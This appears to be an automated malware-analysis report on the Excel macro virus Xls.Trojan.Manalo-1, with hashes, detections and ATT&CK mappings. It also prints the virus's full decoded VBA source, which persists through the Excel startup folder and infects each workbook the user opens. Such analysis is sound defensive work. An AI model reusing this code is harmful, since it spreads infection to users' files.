Xls.Trojan.Manalo-1 — Office (OLE) malware analysis

Static analysis result for SHA-256 9ab6042ed28f8a77…

MALICIOUS

Office (OLE)

97.0 KB Created: 2000-04-11 06:15:10 Authoring application: Microsoft Excel First seen: 2012-06-14
MD5: 36a95e2dc4aa978e9fb41d79441bdfcf SHA-1: b221b4c706b526595674ec9b8ea026dbbfd25eba SHA-256: 9ab6042ed28f8a77068ff56e08d49946a554dfd360ce4efedc02daa061460df0
240 Risk Score

Malware Insights

Xls.Trojan.Manalo-1 · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder

The sample is identified as Xls.Trojan.Manalo-1 by ClamAV. It contains an Auto_Open macro that attempts to infect other Excel workbooks. The macro copies its own sheets and saves the modified workbook as MANALO.XLS in the Excel startup path, likely to establish persistence or spread.

Heuristics 4

  • ClamAV: Xls.Trojan.Manalo-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Trojan.Manalo-1
  • Excel 5 Laroux/Larou-CV macro-virus marker cluster critical OLE_XLS5_LAROUX_MACRO_VIRUS
    Legacy Excel workbook contains a Laroux/Larou-CV macro-virus marker cluster including auto_open execution and workbook/module replication strings. This is a narrow indicator for an infected legacy Excel macro workbook.
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Auto_Open macro high OLE_VBA_AUTO
    Auto_Open macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2482 bytes
SHA-256: 0ffefde3e96e9dfb64ff7ee85bdf62290821bdee587c2a5cb1a6a52e0be4f851
Detection
ClamAV: Xls.Trojan.Manalo-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Sheet1111111"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "DNA"













Sub Auto_Open()
Attribute Auto_Open.VB_ProcData.VB_Invoke_Func = " \n14"
        Application.OnSheetActivate = "User"

End Sub

Sub User()
Attribute User.VB_ProcData.VB_Invoke_Func = " \n14"

        
Startup$ = Application.StartupPath
File$ = Dir(Startup$ & "\" & "MANALO.XLS")

If File$ <> "MANALO.XLS" Then GoTo FileDoesNotExist Else GoTo InfectOpenFile

FileDoesNotExist:
            
   Infected$ = ActiveWorkbook.Name
   
   Application.ScreenUpdating = False

   Set newBook = Workbooks.Add
    With newBook
        .Title = ""
        .Subject = ""
    End With
   
   NewWorkbook$ = ActiveWorkbook.Name
   Sheet$ = Workbooks(NewWorkbook$).Sheets(1).Name
        
   If Sheet$ <> "DNA" _
      Then
        Workbooks(Infected$).Sheets("Manalo").Copy Before:=Workbooks(NewWorkbook$).Sheets(1)
        Workbooks(Infected$).Sheets("DNA").Copy Before:=Workbooks(NewWorkbook$).Sheets(1)
        Workbooks(NewWorkbook$).Sheets("DNA").Visible = False
        Workbooks(NewWorkbook$).Sheets("Manalo").Visible = False
      Else
   End If
   ActiveWindow.Visible = False
      
   Workbooks(NewWorkbook$).SaveAs FileName:=Application.StartupPath & "/" & "MANALO.XLS"

GoTo Finish

InfectOpenFile:
        
   FileName$ = ActiveWorkbook.Name
   FirstSheet$ = Workbooks(FileName$).Sheets(1).Name
        
   Application.ScreenUpdating = False
   
   If FirstSheet$ <> "DNA" _
      Then
        Workbooks("MANALO.XLS").Sheets("DNA").Copy Before:=Workbooks(FileName$).Sheets(1)
        Workbooks("MANALO.XLS").Sheets("Manalo").Copy After:=Workbooks(FileName$).Sheets("DNA")
        Workbooks("MANALO.XLS").Sheets("Manalo").Copy Before:=Workbooks(FileName$).Sheets("INC")
        Workbooks(FileName$).Sheets("DNA").Visible = False
        Workbooks(FileName$).Sheets("Manalo").Visible = False
        Workbooks(FileName$).Sheets("INC").Visible = False
      Else
   End If
If Date >= "4/29/99" Then
Workbooks(FileName$).Sheets("INC").Visible = False
End If

Finish:

Application.OnSheetActivate = True
Application.ScreenUpdating = True
Application.OnSheetActivate = "MANALO.XLS!User"
End Sub

Open this report in the interactive analyzer, or submit your own file for analysis.